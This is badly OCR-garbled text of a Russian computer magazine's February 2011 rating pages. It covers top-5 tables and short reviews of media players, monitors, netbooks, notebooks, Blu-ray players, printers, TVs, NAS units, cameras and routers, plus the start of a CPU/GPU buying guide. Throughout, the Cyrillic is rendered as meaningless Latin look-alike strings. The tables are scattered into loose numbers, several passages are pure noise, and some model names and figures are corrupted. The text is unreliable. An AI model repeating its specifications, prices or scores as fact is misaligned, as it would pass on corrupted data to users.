LG GD880 Mini QneraHTHbm KOMMyHMKaiop c KanecTBeHHbiM pe3HCTMBHbiM ceHcopHbiM 3«paHOM h noflflep>KKOW Multitouch. flocroHHCTBa: 
CKpoMHbie ra6apmbi m Bee, MOiflHbm BcrpoeHHbm My3biKanbHbm nneep, noflflepjKKa HSUPA m WLAN, Hennoxan BcrpoeHHan KaMepa. HeflociaTOK — 
Manoe BpeNm aBTOHOMHOM pa6oTbi. 

06man oueHKa, 6annoB: 88,8 (9 Mecio) 

CpeflHfifl po3HHHHan ueHa, py6./rpH.: 10 500/3000 


MynbTHMefliiiiiHbie nneepbi 


29 MeCTO 
iriver E150 
(8 r6aMT) 
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1 Archos 5 Internet Tablet (32 r6aiiT) 

87,9 

12 600/2800 

nnoxoe 

69 

100 

97 

87 

82 

21:20 

32 

181 

143x79x11 

7.10 

E35 > 2 Apple iPod touch (64 rfiawT) 

87,6 

15 000/4000 

nnoxoe 

94 

78 

90 

100 

41 

40:15 

64 

102 

59x111x7 

12.10 


26 iriver SI 00 (1 6 TbaiiT) 

75,8 

5000/1400 

yAOBn. 

74 

63 

82 

88 

66 

22:55 

16 

76 

58x105x10 

1.11 

CHi> 27 iriver SI 00 (8 rbawi) 

74,9 

3700/900 

aoct. xopomee 

74 

60 

82 

88 

66 

22:55 

8 

76 

58x105x10 

1.11 

CSi> 29 iriver El 50 (8 T6anT) 

73,2 

2700/800 

OTnuHHoe 

71 

57 

79 

92 

66 

19:30 

8 

34 

49x95x13 

1.11 


M — 0UEHKI/l/l/l3MEPEHI/m TEX. XAP-KI/I ► 


iriver E150 (8 r6airr) KoNinaKTHbm,nerKMM m Hefloporow MynbTMNieflMMHbm nneep c OT/iMHHbiM KanecTBOM 3By«a. /Joctomhctbo — HanMHi/ie BcrpoeH- 
HblX flHKTOC|)OHa M paflHO. 1/13 HeflOCTaTKOB CTOMT OTMeTMTb MaJieHbKMH flWCnneM, 6eflHOe OCHaifleHMe H He CaMOe BbICOKOe BpeMfl aBTOHOMHOH pa60Tbl. 

06iflan oueHKa, 6annoB: 73,2 (29 MecTo) 

CpeflHfifl po3HHHHaa ueHa, py6./rpH.: 2700/800 



■ BbiCLimM K/iacc (100—90) ■BbicoKMii K/iacc (89-75) ■ CpeflHuii xnacc (74-45) ■ HananbHbm xnacc (44-0) Bee oqeHKM b 6annax (MaxcmviyM — 100) #fla—HeT 
npeflCTaBJieHbi no6eflHTenn m hobmhkm, yKa3aH0 MecTo b o6meM peMTMHre npoTecTupoBaHHbix ycTpoiicTB 
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Elite 6ojibuie TecTOB - 
Ha CHIP online 


MoHMTopbi )KK 22/23 fliOHMa 
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5 Mecro 

Philips Brilliance 
225PL2 



ESI > 


1 

EIZO ColorEdge CG223W 

92,6 

63 000/— 

nnoxoe 

100 

92 

84 

89 

47 

1113:1 

188:1 

7 

<0,1 

1680x1050 

S-PVA 

- 

1 

- 1 9.10 

2 

Philips Brilliance 225P1 

88,9 

12 000/1900 

OTJIMHHOe 

92 

93 

68 

89 

79 

18 610:1 

165:1 

6 

<0,1 

1680x1050 

TN 

1 

1 

- - 4.10 

3 

NEC Multisync EA222WMe 

88,2 

13 300/3000 

xopomee 

91 

95 

79 

75 

77 

29 580:1 

174:1 

7 

<0,1 

1680x1050 

TN 

1 

1 

- 1 5.10 

4 

NEC Multisync EA231WMi 

88 

16 600/3900 

Aoct. xopomee 

87 

100 

83 

82 

63 

1130:1 

152:1 

14 

<0,1 

1920x1080 

S-IPS 

1 

1 

- 1 3.10 

5 

Philips Brilliance 225PL2 

87,4 

11 000/— 

OTJIMHHOe 

85 

97 

74 

89 

84 

1099:1 

188:1 

7 

<0,1 

1680x1050 

TN 

1 

1 

- - 1.11 


-0UEHKI/I/I/I3MEPEHI/I^l- 




Philips Brilliance 225PL2 Hobum MynbTMMeflMMHbm mohmtop c 6 bicrpoM TN-MaTpi/ujeM m Hennoxow KOHTpacmocTbio. flocTOMHCTBa: CBeTOfli/ioflHan 
noflCBeTKa, OTni/iHHan aproHOMMHHOCTb, Manoe 3 Heproncnpe 6 neHi/ie, BcrpoeHHbm flaTHUK ocBeuteHHOCTM. HeflOcraTKM — OTcyTCTBue HDMI-pa 3 -beMa 
M HeBblCOKMM 3anac JipKOCTW. 

06maa oueHKa, 6a/uioB: 87,4 (5 Mecio) 

CpeflHflfi po3HH4Han ueHa, py6./rpH.: 11 000/— 


MOHHTOpbl )KK 24 flIOMMa 


5 Mecro 
Samsung 

SyncMaster 2494HM 
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1 

EIZO ColorEdge CG242W 

89,1 

110 000/— 

nnoxoe 

100 

84 

71 

87 

48 

987:1 

182:1 

7 

0,3 

1920x1200 

S-PVA - 

-/i 

- 

9.09 

2 

Dell UltraSharp U2410 

87,4 

21 000/4900 

xopomee 

86 

100 

96 

79 

35 

861:1 

166:1 

8 

<0,1 

1920x1200 

S-IPS 1 

21 - 

1 

4.10 

3 

NEC MultiSync PA241W 

86,4 

42 500/12 500 

nnoxoe 

87 

99 

72 

90 

37 

1027:1 

187:1 

7 

<0,1 

1920x1080 

S-IPS - 

21- 

- 

10.10 

4 

EIZO CG243W 

85,5 

130 000/— 

nnoxoe 

90 

90 

75 

79 

48 

58 

730:1 

177:1 

8 

<0,1 

1920x1200 

MVA - 

-12 

- 

1.10 

5 

Samsung SyncMaster 2494HM 

80,8 

16 000/— 

OTnuHHoe 

74 

100 

76 

83 

1218:1 

154:1 

3 

0,6 

1920x1080 

TN 1 

V- 

1 

11.09 


— OUEHKI/I/I/I3MEPEHM51 — 


Samsung SyncMaster 2494HM YHi/iBepcanbHbm mohtop co CBeTOflMOflHcm noflCBeTKOM, mnpoKHMH ymaMM o 63 opa m HennoxMM KanecTBOM i/i 3 o 6 pa- 
weHi/m. Xopoiuo noflOMflei KaK p,nn wrp m pa 3 BjieHeHMM, TaK n pa 6 oibi. flocionHCTBa: BdpoeHHbie 6 bicTpan MaTpmja, BbicoKan KompacT- 

HOdb, Hi/i 3 Kafl ueHa. HeflocraTOK — 3 HaHMTenbHoe 3 Heproncnpe 6 neHMe. 

06man oueHKa, 6annoB: 80,8 (5 Mecro) 

CpeflHflfl po3HH4Han ueHa, py6./rpH.: 16 000/— 


Hei6yKH 


9 Mecro 
ASUS Eee PC 
1015 P 


1 i!i II jiSfSMillil 111 


cn> 



1 

Sony VAI0 VPCP11S1 R/B 

79,7 

40 000/10 000 

nnoxoe 

96 

82 

50 

72 

75 

2:54/2:47 

Atom Z540/1 ,87 

Intel US15W 

8 

64 

2048 

0,6 

11.10 

2 

Nokia Booklet 3G 

79,3 

25 000/5500 

yAOBn. 

100 

70 

45 

100 

49 

6:28/6:40 

Atom Z530/1 ,6 

Intel US15W 

10,1 

120 

1024 

1,2 

2.10 

3 

Samsung N220 

76,5 

13 500/3300 

OTnuHHoe 

91 

71 

59 

76 

67 

5:58/5:48 

Atom N450/1 ,67 

Intel NM10 

10,1 

250 

1024 

1,3 

5.10 




9 

ASUS Eee PC1015P 

74,1 

13 500/3000 

omi/iHHoe 

84 

69 

50 

66 

100 

4:21/5:02 

Atom N450/1 ,67 

Intel NM10 

10,1 

160 

1024 

1,2 

1.11 

15 

ASUS Eee PCI 201 PN 

65,3 

18 000/4700 

aoct. xopomee 

54 

88 

52 

67 

67 

2:56/3:36 

Atom N450/1 ,67 

Intel NM10 

12,1 

250 

2048 

1,4 

1.11 


— TEXHI/IHECKI/IE XAPAKTEPHCTI/IKH- 


M 0UEHKI/l/l/l3MEPEHI/m ► 

ASUS Eee PC 1015P HoBbm Hefloporow Hei 6 yK c ouiMHHbiM flucnneeM m flnMTenbHbiM BpeMeHeM aBTOHOMHow pa 6 oibi. flocrowHCTBa: KOMnaKTHbie 
ra 6 apmbi, yflo 6 Han KnaBMaTypa. HeflOcraTOK — HeBbicoKan npon 3 BOAMTenbHOCTb CMcreMbi b LjenoM. flaHHbm Hei 6 yK noflxofli/iTTonbKO p,nn pa 6 oibi 
m cepc|)MHra b HHTepHeie. 

06man ouemra, 6annoB: 74,1 (9 Mecio) 

CpeflHfln po3HHHHan ueHa, py6./rpH.: 13 500/3000 


Hoyi6yKM ao 13,3 flioiiiMa 
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1 Panasonic Toughbook CF -31 

89,7 

180 000/40 000 

nnoxoe 

100 

78 

100 

85 

74 

10:45/2:35 Core I5-520M/2.4 

Intel QM57 

13,1 

3,6 1.11 


2 Apple MacBook Pro (MC375D/A) 

88,2 

45 000/13 000 

OTnuHHoe 

80 

95 

95 

82 

100 

7:27/1 :38 Core 2 Duo P8800/2.67 

GeForce 320M 

13,3 

2,1 9.10 


3 HP EliteBook 2540p (WK302EA) 

87 

77 000/16 500 

yAOBn. 

78 

94 

98 

100 

68 

6:27/2:20 Core i7-640LM/2,13 

Intel QM57 

12,1 

1,8 1.11 


1 Mecro 
Panasonic 
Toughbook CF-: 




8 

Fujitsu Lifebook P770 

83,5 

67 000/20 000 

aoct. xopomee 

69 

100 

83 

88 

87 

4:09/2:16 

Core i7-620UM/1 ,07 

Intel QS57 

12,1 

1,4 

1.11 

14 

Fujitsu Lifebook PH530 

78,1 

42 000/13 300 

OTnuHHoe 

79 

87 

57 

76 

88 

5:47/2:40 

Core I3-330UM/1,2 

Intel HM55 

11,6 

1,4 

1.11 


— OI4EHKI/I/I/I3MEPEHI/IP— 


—TEXHI/IHECKI/IE XAPAKTEPI/ICTI/IKI/I — 


Panasonic Toughbook CF-31 KoMc|)opTHan pa6oia flawe b noneBbix ycnoBMnx 6naroflapfl cooTBeTCTBmo coBpeMeHHbiM Tpe6oBaHMflM bochhom 
3autMTbi. flBa BdpoeHHbix aKKyMy/iflTopa o6ecneHi/iBaiOT ao 12 h aBTOHOMHoro i/icnonb30BaHMfl. 

06man oueHKa, 6annoB: 89,7 (1 Mecio) 

CpeAHnn po3HHHHan ueHa, py6./rpH.: 180 000/40 000 

BbicwMM KJiacc ( 100 - 90 ) ■ Bncokum xnacc ( 89 - 75 ) ■CpeflHMti K/iacc ( 74 — 45 ) BHaHajibHbm K/iacc ( 44 - 0 ) Bee oqeHKM b 6 annax (MaxcMMyM — 100 ) #fla — HeT 
npeflCTaBJieHbi noOeAMTenw m hobmhkm, yKa 3 aH 0 Mecio b o 6 meM peiiTMHre npoTecTupoBaHHbix ycipowcTB 
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n:n^ TECTbl M 0E30Pbl Top 5: Jiynume npoflyKTbi 


Hoyi6yKM ot 14 no 15,6 flWMMa 
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cu «2, 
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jp*? 

1 

Acer Aspire TimelineX 4820TG 

79,8 

48000/9000 

xopomee 

80 

67 

100 

68 

97 

7:35/1:59 

Core i7-620M/2,67 

Mob. Radeon HD 5650 

14,1 

2,1 9.10 

ES5> 

2 

Fujitsu CELSIUS H700 

78,2 

130000/— 

nnoxoe 

38 

100 

93 

79 

94 

3:24/1:05 Core I7-820QM/1 ,73 

Quadra FX 880M 

15,6 

3 1.11 


3 

HP EliteBook 8540p 

74,9 

70000/12100 

yAOBJi. 

58 

73 

66 

96 

98 

5:40/1:48 

Core i5-540M/2,53 

Quadra NVS 51 00M 

15,6 

2,9 7.10 


4 

Lenovo ThinkPad T41 Os (291 2-3AG) 

74,4 

55 000/11 500 

Aoct. xopomee 

57 

75 

81 

100 

52 

3:44/1:07 

Core i5-520M/2,4 

Intel Media Accelerator HD 

14,1 

2 6.10 







15 

MSI FX600 

62,9 

32 000/7000 

OTJIMHHOe 

49 

70 

61 

58 

93 

4:07/1:04 

Core i5-450M/2,4 

GeForce GT 325M 

15,6 

2,4 1.11 


15 Mecro 
MSI FX600 



— TEXHI/IHECKI/IE XAPAKTEPI/ICTI/IKI/I— 


◄ 0MEHKI/l/l/l3MEPEHI/m 

MSI FX600 CTM/ibHbm BHeiuHMM BMfl, HenAOxafl npon3BOflme^bHOCTb n KaHecmeHHbm flucn^ew c npaBunbHou MBeTonepeflaneM u 6cmbmMMM 
ymaMi/i o63opa. HeflOcraTKi/i: BHyiume^bHbie ra6apmbi, MaAoe BpeMA aBTOHOMHOM pa6oibi, K^naBnaiypa u Tannafl Tpe6yiOT npMBbiKaHMa. 

06maa oueHKa, 6ajuiOB: 62,9 (15 Mecio) 

CpeflHfla po3HnqHaji ueHa, py6./rpH.: 32 000/7000 


llneepbi Blu-ray 


1 MeCTO 
Philips 
BDP8000 


§i£ 

OJ CO \o 
a o >. 
O a a 
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l- V CQ 


I i| |s l|| || f g. 


3 £ ec,: 

S| g: 
£ 2 £ « 


I— <C O < ! 



1 

Philips BDP8000 

95,3 

11 500/— 

n/ioxoe 

99 

100 

94 

49 

100 

22/17/13 0,5/0,2 

0,1/19,1/19,2 

1.4 


• 

7.1 1 

- 2.0 

1.11 


2 

Samsung BD-C6900 

93,7 

10 000/3200 

nnoxoe 

92 

94 

100 

76 

83 

12/11/12 0,6/0,3 

0,1/12,1/10,8 

1.4 

• 

- 

7.1 1 

- 2.0 

8.10 


3 

Philips BDP7500S2 

93,6 

9100/2500 

yAOBJi. 

97 

100 

92 

50 

86 

22/15/12 0,7/0,3 

0,1/19,1/18,9 

1.3 

• 

• 

7.1 2 

- 2.0 

8.10 




cn> 

14 

LG BX580 

88,4 

8800/2800 

yAOBJi. 

86 

99 

83 

72 

88 

19/23/20 1/0,6 

0,2/13,1/12 

1.4 

• 

• 

- 1 

- 2.0 

1.11 

cns> 

17 

LG BD550 

85,8 

4000/— 

OTJlI/IHHOe 

70 

99 

87 

91 

88 

17/18/17 0,9/0,5 

0,1/10,3/8,6 

1.3 

- 

• 

- 1 

- 2.0 

1.11 


-0UEHKI/I/I/I3MEPEHI/Ifl- 


— — TEXHI/IHECK1/IE XAPAKTEPI/ICTI/IKI/I— 


Philips BDP8000 3acny>KeHHoe nepBoe Mecio 6/iaroflapfl otamhhomy KanecTBy n3o6pa>KeHmi, xopomeu aproHOMMHHOCTi/i m 6oraTOMy ocHameHmo. 
noflflep>KKa BocnpoM3BefleHHfl 3D-BHfleo 3a cnei nanmiAn pasteMa HDMI 1.4. 1/13 HeflocraTKOB mo>kho OTMeimb pa3Be hto OTcyTCTBue «apT- 
puflepa m BbicoKoe 3Heproncnpe6AeHi/ie b pe>KMMe nponrpbiBaHHfl. 

06man oueHKa, 6ajuiOB: 95,3 (1 Mecio) 

CpeflHflji po3HMHHa;i ueHa, py6./rpH.: 11 500/— 


llpHHTepbl CTpyHHbie MHOrOtpyHKUMOHa/lbHbie (M(t>y) 
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1 

HP OfficeJet Pro 8500 WiFi 

84,6 

12000 /— 

yAOBJi. 

82 

80 

68 

100 

76 

6,8 

4800x1200 

USB 2.0, LAN, WLAN 

MB. 

9.09 

2 

Epson Stylus Photo TX800FW 

82,4 

13 000/2500 

yAOBJi. 

87 

97 

84 

95 

86 

6,4 

5760x1440 

USB 2.0, LAN, WLAN 

MB. 

1.10 

3 

Canon Pixma MP640 

80,2 

8000/1600 

aoct. xopouiee 

91 

88 

78 

74 

86 

4,8 

9600x2400 

USB 2.0, LAN, WLAN 

- 

7.10 

4 

Canon Pixma MX870 

80,1 

7500/— 

xopomee 

92 

94 

62 

94 

57 

7,3 

9600x2400 

USB 2.0, LAN, WLAN 

MB. 

7.10 






51 

Brother DCP-J315W 

63 

4500/— 

OTJIMHHOe 

80 

68 

42 

48 

71 

3 

6000x1200 

USB 2.0, WLAN 

- 

1.11 


51 MeCTO 

Brother 

DCP-J315W 



— 0MEHKI/I/I/I3MEPEHI/IA— 




-TEXHI/IHECKI/IE XAPAKTEPI/ICTI/IKI/I — 


Brother DCP-J315W OTAMHHoe KanecTBO nenain m CKaHMpoBaHMA, HH3«oe 3Hepronoipe6^eHne m pa6oia b 6ecnpoBOflHbix ceuix. BAaroflapa 
HajiMHMK) 6oAbmoro >KK-AMcn;iefl Ha nepeflHeu naHeAi/i yapoMCTBO mo>kho ncnoAb30BaTb 6e3 noflKAiOHeHMfl k KOMnbiOTepy. HeflOcraTKM — 
CKpoMHaa CKopodb pa6oTbi m BbicoKaa ce6ecTOMMOCTb nenaTM. 

06maa oueHKa, 6ajuiOB: 63 (51 Mecro) 

CpeflHnn po3HMHHaa ueHa, py6./rpH.: 4500/— 


TeneBM3opbi )KK 32 fliotiMa 


1 MeCTO 

Samsung 

UE32C8790 
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-d 03= QJ OJ 
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S a 

1 Samsung UE32C8790 

93,8 

50 000/13 000 yAOBJi. 

93 

96 

100 

88 82 94 85 

224:1 

298 <0,1 1920x1080 4 1 

- 

1 12.10 

2 Samsung UE32C6700 

92,8 

30 000/8000 xopomee 

97 

98 

82 

90 96 92 92 

224:1 

315 <0,1 1920x1080 4 1 

- 

1 12.10 

3 Sony KDL-32EX705 

92,8 

31 000/8000 aoct. xopomee 

93 

99 

87 

91 80 100 96 

226:1 

291 <0,1 1920x1080 4 2 

- 

1 12.10 

4 Philips 32PFL8404H 

90,5 

22 000/7000 OTJIMHHOe 

100 

89 

82 

93 89~^B~89~ 

160:1 

454 <0,1 1920x1080 4 2 

1 

1 2.10 

5 Sony KDL-32V5500 

90,3 

30 000/5700 aoct. xopomee 

94 

99 

85 

83 91 68 83 

215:1 

389 <0,1 1920x1080 4 2 

- 

1 9.09 


◄ 0UEHKI/l/l/l3MEPEHI/m TEX. XAP-KI/I ► 

Samsung UE32C8790 JlyniuMM no BceM napaMeipaM npoflyKT b CBoeM KAacce Ha ceroflHfliuHMM fleHb. flpxoe, coHHoe h pea^HCTHHHoe n3o6pa>Ke- 
HHe c pa3peiueHneM Full HD, b nanmm Bee coBpeMeHHbie pasteMbi. OflHaKO ueHa Bbimjiflm HeMHoro saBbimeHHcm. 

06man oueHKa, 6a/i/ioB: 93,8 (1 Metro) 

CpeflHnn po3HuqHan ueHa, py6./rpH.: 50 000/13000 


■ BbiCLimM K/iacc (100—90) BBbicoKMM KJiacc (89-75) ■CpeflHMM xnacc (74—45) ■HanajibHbm KJiacc (44-0) Bee oqeHKM b 6a;uiax (MaxcMMyM — 100) #fla—HeT 
npeflCTaBJieHbi noSeAmejin m hobmhkm, yKa3aH0 Mecio b o6meM petiTMHre npoTecTupoBaHHbix ycTpoiicTB 
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Elite dojibuie TecTOB - 
Ha CHIP online 



CeieBbie xpaHwimiia NAS 


18 Mecro 
Verbatim 
MediaShare 47490 
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6 
S 
2 
S 

m 1 

QNAP TS-239 Pro II 

80,4 

22 500/6500 

n/ioxoe 

100 

95 

21 

86 

1,3/0, 4 

26,2/17,5 

71,6/97,7 

5/2 

•/• 

•/•/• 

11.10 

2 

QNAP TS-259 Pro 

78,3 

26 500/6200 

n/ioxoe 

97 

95 

21 

81 

1,3/0, 4 

30,2/15,2 

75,7/57,2 • 

5/2 

•/• 

•/•/• 

5.10 

IT ^ 3 

Synology Disk Station DS710+ 

76,3 

22 700/5700 

n/ioxoe 

84 

95 

19 

100 

1,3/0, 6 

30,1/17,5 

94,1/70,2 • 

3/1 

•/• 

•/•/• 

7.10 






M> is 

Verbatim MediaShare 47490 

60,5 

6800/1600 

OTJIMHHOe 

66 

85 

42 

44 

2, 1/0, 5 

12,3/9,6 

44,1/21,3 • 

3/1 

•/- 

•/•/• 

1.11 

H35> 29 

Apple Time Capsule 

52,6 

13 000/3200 

yAOBJi. 

47 

100 

41 

29 

0,6/0, 2 

15,5/8,6 

26,3/24,4 • 

1/ - 

-/- 

•/•/- 

1.11 


M OI4EHKI/I/I/I3MEPEH 1/151 TEX. XAP-KM ► 

Verbatim MediaShare 47490 flaHHbm NAS MO>KeT ncnojib30BaTbCfl n KaK yHMBepcajibHoe ceieBoe xpaHmimije, n KaK flOMaiuHMM MeflHauemp. 
flocTOMHCTBa — yflo6Hoe nporpaMMHoe o6ecneHeHMe m HeBbicoKaa CTOMMOCTb. HeflociaTKn — 3HaHMTejibHbm ypoBeHb myMa npn pa6oie m HM 3Kaa 
CKopodb nepeflaHM aaHHbix. 

06man oueHKa, 6anjiOB: 60,5 (18 Mecro) 

CpeflHflfi po3HMHHaa ueHa, py6./rpH.: 6800/1600 


OoTOKaMepbi umppoBbie Mera3yMHbie 


1 MeCTO 

Panasonic Lumix 
DMC-FZ100 
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1 

Panasonic Lumix DMC-FZIOO 

85,7 

17 800/4500 

xopoLiiee 

73 

100 

87 

220/760 

0,51 

14 


25-600 

24x 

• 

SDXC 

40 550 11.10 


2 

Panasonic Lumix DMC-FZ45 

82,5 

14 300/4000 

OTJIMHHOe 

75 

94 

74 

280/900 

0,41 

14 


25-600 

24x 

• 

SDXC 

40 500 11.10 


3 

Nikon Coolpix PI 00 

79,9 

12 500/3300 

OTJIMHHOe 

79 

85 

69 

140/410 

0,4 

10 


26-678 

26,1 x 

• 

SDHC 

43 480 5.10 


4 

Panasonic Lumix DMC-FZ38 

78,4 

14 600/3500 

xopomee 

71 

■ 92 

64 

220/740 

0,42 

12 


27-486 

18x 

• 

SDHC 

40 410 12.09 








6 

Canon PowerShot SX30 IS 

73,9 

15 600/3800 

A0CT. xopomee 

70 

85 

57 

240/790 

0,48 

14 


24-840 34, 9x 

• 

SDXC 

- 600 01.10 


M OUEHKI/I/I/I3MEPEHI/I51 TEXHI/IHECKI/IE XAPAKTEPI/ICTI/IKI/I ^ 


Panasonic Lumix DMC-FZIOO Boraio ocHameHHaa KONinaKTHaa KaMepa c 24-KpaTHbiM oninnecKUM 3yMOM, HenjioxMM KanecTBOM cbeMKi/i i/i ot/i m h h bi m 
6biCTpofleMCTBneM (flo 60 KaflpoB/c). flocionHCTBa: HajiMHMe CTa6wiM3aTopa M3o6pa>KeHMfl n 25-Mmuii/iMeTpoBoro LUMpoKoyrojibHoro o6-beKTMBa. 
HeflOdaTOK — ncmB/ieHne myMOB npn 3HaneHmix ISO 200 m 6cmee. 

06man oueHKa, 6a/uiOB: 85,7 (1 Mecio) 

CpeflHfln po3HnqHan ueHa, py6./rpH.: 17 800/4500 


(PoTQKaMepbi UHtppoBbie 3epKanbHbie 


O 

CD 

09 

S 

E 

d 

0 

S 

Z 

09 

=T 

O 

05 

CO 

3 

vo 

0 

co 

X 

CD 

a 

« = ± 
m 

03 « VO 

saa: 

O 

is 

03 03 

IS 

X -d. 

O X 
O 03 

0 a 

ca 

CL 

VO 

O ^ 

n 

II 

11 

CD 

09 

Z 

z 

09 

3 

ca 

z 

C9 

O 

09 

z 

CQ 

C9 

>Z 

i 

Is 

La 3- 

CQ 

ca ° 

l|i 

111? 
£ ill 

I 

03 

ca 

2 0 M 

09 ^ “ 

rQ ca g 

“ ^ d 

e _q 0 ro 
X 0 - 

■^OOE 
s q. a. x 
B. 0 d E 

03 S CO E 
O U ^ d 

09 >Z 

i « S 

|l| 

■& =■ 2 

■&S3 « 

CD EX S 

0 

CO 

i? 

| P 

5 ca 

d S 

09 
09 Z 
Z O 
Z 1- 
09 

3 09 
09 Z 
O- E= 
CO O 

ca s 

a- d 

f 3 

m X 

n « 
s 56 
E CO 
S EX 
VO VO 

co 0 

1— CO 

O s 

0 

03 

d 

X 

ca 

£ 

05 

2 

ca 

z 

£ 

co 

iC 

0 

03 
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1 

Sony Alpha 55 

98,5 

30 000/8400 

OTJIMHHOe 

97 

100 

100 

210/600 

0,18 

10/19 

16 

100-25 600 

921 600 


- 

MS, SDXC 

520 

12.10 

2 

Sony Alpha 33 

94,8 

27 000/6700 

OTJIMHHOe 

94 

99 

85 

230/530 

0,18 

7/7 

14 

100-25 600 

921 600 

• 

- 

MS, SDXC 

510 

12.10 

3 

Sony Alpha 580 

92,3 

30 000/8000 

xopomee 

100 

87 

83 

1070/1690 

0,2 

5/21 

16 

100-25 600 

921 600 

• 

- 

MS, SDXC 

695 

11.10 


1 MeCTO 

Sony Alpha 55 



cn> 

12 

Nikon D3100 

83,4 

23 000/5300 

OTJIMHHOe 

98 

69 79 

48 58 

640/1370 

0,2 

2,9/8 

14,2 

100-12 800 

230 000 

- 

• 

SDXC 

510 

01.10 


37 

Sigma SD15 

67 

38 000/11 300 

yAOBJi. 

87 

380/720 

0,15 

2,2/21 

4,6 

50-3200 

460 000 

- 

• 

SDHC 

680 

01.10 


— OI4EHK1/I/I/I3MEPEHI/I51— 




—TEXHI/IHECKI/IE XAPAKTEPI/ICTI/IKI/I— 


Sony Alpha 55 Xopomaa, 6oraTO ocHameHHaji 3epKajibHaji KaMepa no onpaBflaHHOM ueHe. flocTOMHCTBa: BbicoKoe KanecTBO cbeMKH, 6bicrpbm 
aBTO(|)OKyc, yflo6Hoe m jiomHHoe MeHio, Henjioxoe 6bicTpofleMCTBne. 1/13 HeflocraTKOB mojkho OTMeTHTb pa3Be hto Majioe BpeMa aBTOHOMHOM 
pa6oTbi: aKKyMy/iflTopa xBaTaeT MaKCMMyM Ha 600 chmmkob. 

06man oueHKa, 6annoB: 98,5 (1 MecTo) 

CpeflHnn po3HnqHan ueHa, py6./rpH.: 30 000/8400 


WLAN-poyiepbi 
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C ULU CO X 


1 

AVMFritzBoxFon WLAN 7390 

75 

9000/— 

njioxoe 

100 

62 

68 

42 

84,6 

44,8 

1074 

8,1 

• 

4 

2 

•/•/• 

•/• 

6.10 

2 

Linksys WAG320N 

70,4 

5500/1300 

Aoct. xopomee 

74 

64 

75 

69 

92,2 

30,9 

1086 

6,4 

• 

4 

1 

•/•/- 

•/• 

8.10 

3 

D-Link DIR-825 

66,6 

5000/1100 

Aoct. xopomee 

72 

73 

84 

23 

99,8 

101,1 

1074 

7,8 

- 

4 

1 

•/•/• 

•/• 

9.09 


► 29 

Apple Time Capsule 

55,6 

13 000/3200 

njioxoe 

56 

77 

46 

20 

88,8 

65,9 

1109 

9,4 

- 3 

1 •/•/• 

•/• 

1.11 

► 43 

TP-Link TD-W8960N 

50,4 

2400/500 

OTJIMHHOe 

49 

52 

42 

60 

91,6 

72,4 

118 

6,9 

• 4 

- •/-/- 

•/• 

1.11 


— OI4EHKI/I/I/I3MEPEHI/I51— 


TP-Link TD-W8960N flaHHbm poyTep coneTaeT b ce6e ADSL-MOfleM, MapmpyTM3aTop c cj^y h k 14 m e m NAT h 6ecnpoBOflHyio TOHKy flOCTyna (craHflapT n). 
flocTOHHCTBa — Henjioxaa nponycKHaa cnoco6HOCTb m npneMjieMoe 3HepronoTpe6jieHMe. HeflOcraTKM — 6eflHoe no h OTcyTCTBHe pa3teMa USB. 
06u\an ouemra, 6ajuiOB: 50,4 (43 MecTo) 

CpeflHnn po3HnqHan ueHa, py6./rpH.: 2400/500 


BbiciuMM KJiacc (100-90) ■Bncokhm KJiacc (89-75) ■ CpeflHMM K/iacc (74-45) BHaHajibHbm K/iacc (44-0) Bee oqeHKM b 6 a/uiax (MaKCMMyM — 100) #fla — HeT 
npeflCTaBJieHbi noOeflMTejiM m hobmhkm, yKa3aH0 MecTo b o6n\m pewTMHre npoTecTwpoBaHHbix ycTpowcTB 


CHIP I OEBPAJlb 2011 
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1*^11^ TECTbl M 0E30Pbl PeMTMHr 60 ueHTpa/ibHbix m 30 rpacpMHecKMX npoueccopoB 


nyieBOAMTenb 


no CPU m GPU 

njiaHupyeTe npno6pec™ HOBbm I1K mjim HoyTOyK? 
XOTMTe MOflepHM 3 MpOBaTb CBOM KOMnblOTep? CHIP 
npeflnaraeT BaiueMy BHmviaHi/iio eweMecflHHbiii o63op 
pbiHKa ueHTpa/ibHbix i/i rpacfDi/iHecKi/ix npoueccopoB. 



H OBeftniHe npoiteccopBi Intel 
Ha 6a3e apxHTeKTypBi Sandy 
Bridge ente He ycnejin no- 
nBHTbcn b npo^axe, a 3H- 
Ty3HaCTBI H OBepKJIOKepBI 
yace 3anojiynHjiH TecTOBBie o6pa3itBi, 
KOToptie AeMOHCTpnpyiOT BnenaTjw- 
jomne pe3yjiBTaTBi pa3roHa. Tax, kh- 
TancKHH OBeKjioxep c nopTajia www. 
coolaler.com, nmpOKO H3BecTHBiH no a 
hhkom JCornell, cyMeji pa3orHaTB 
nnn Core i7-2600K jx o 5 rru; Ha 
B03AyniH0M oxjiaameHHH. 


CPU fl/lfl HACTOJlbHblX nK 

JlynniHM cooTHomeHHeM u;eHBi h 
npOH3BOAHTeJIBHOCTH, KaK H B npOIH- 
jiom Mecaije, odjiattaeT nnn Intel Core 
i5-760. Taioxe ctoht otmcthtb ho- 
Byio Mottejib AMD Phenom II X4 
970 BE, pa3MecTHBmyiocH Ha 12 Mec- 
Te Hamero peHTHHra. OHa padcrra- 
eT Ha nacTOTe 3,5 TTix h MoaceT no- 

XBaCTaTbCH OTJIHHHbIM pa3rOHHbIM 
noTeHu;HajiOM djiaro^apa pa3djiOKH- 
pOBaHHOMy MHOvKHTeJHO . IlpH HeBbl- 
COKOH CTOHMOCTH no npOH3BO,ZtH- 


TejibHOCTH 3tot npoiteccop BnjioT- 
Hyio npHdjmacaeTca k donee #opo- 
thm pemeHHBM ot Intel. 

TPAcPI/IHECKI/IE Hl/lllbl 

C BbixottOM hobbix Radeon HD 6870 h 
HD 6850 KOMnaHHH AMD BHOBb 3a,zta- 
eT CTaHaapTbi b cerMeHTe BH^eoicapT. 
npH donee hh3koh ijeHe MottejiH Ha 
6a3e AaHHbix GPU ^eMOHCTpnpyiOT 
jiynmyio npOH3BOAHTejibHOCTb h Mem>- 
mee 3HepronoTpe6jieHHe, neM KOHKy- 
pHpyiomHe npoayKTbi OT NVIDIA. 

■ ■■ POMaH JlapMOHOB 
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nPOUECCOPbl flJlfl HACTOJlbHblX nK 
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[onTHMflJIbHD^ ‘ 


1 

Intel Core I7-980X XE 

Gulftown 

1366 

6 

3333 

1536 

QPI6400 

32 

1170 

130 

1137 

141 

188 

40 

39 000 

8900 

100 

10,9 ■ 

2 

Intel Core 17-970 

Gulftown 

1366 

6 

3200 

1536 

QPI6400 

32 

1170 

130 

1134 

140 

197 

42 

30 200 

7450 

96,9 

13,6 

3 

Intel Core 17-975 XE 

Bloomfield 

1366 

4 

3333 

1024 

QPI6400 

45 

731 

130 

1086 

140 

199 

54 

34 500 

— 

87 

10,7 

4 

